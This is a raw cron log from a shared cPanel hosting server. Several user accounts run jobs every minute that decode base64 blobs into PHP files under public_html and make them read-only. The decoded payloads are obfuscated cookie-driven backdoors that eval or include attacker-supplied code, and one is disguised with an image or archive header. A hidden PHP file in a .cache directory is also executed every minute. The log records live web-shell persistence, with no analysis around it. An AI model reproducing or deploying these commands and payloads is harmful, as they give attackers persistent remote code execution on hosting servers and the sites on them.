Apr 19 07:26:02 medusa CROND[32179]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:26:02 medusa CROND[32182]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:26:02 medusa CROND[32184]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:26:02 medusa CROND[32189]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 07:26:02 medusa CROND[32188]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:27:01 medusa CROND[23575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 07:27:02 medusa CROND[23657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:27:02 medusa CROND[23659]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:27:02 medusa CROND[23661]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:27:02 medusa CROND[23662]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:27:02 medusa CROND[23663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:27:02 medusa CROND[23664]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:27:02 medusa CROND[23666]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:27:02 medusa CROND[23667]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:27:02 medusa CROND[23668]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:27:02 medusa CROND[23660]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:27:02 medusa CROND[23669]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:28:01 medusa CROND[15958]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 07:28:01 medusa CROND[16060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:28:01 medusa CROND[16061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:28:01 medusa CROND[16062]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:28:01 medusa CROND[16063]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:28:01 medusa CROND[16064]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:28:01 medusa CROND[16065]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:28:01 medusa CROND[16067]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:28:01 medusa CROND[16069]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:28:01 medusa CROND[16068]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
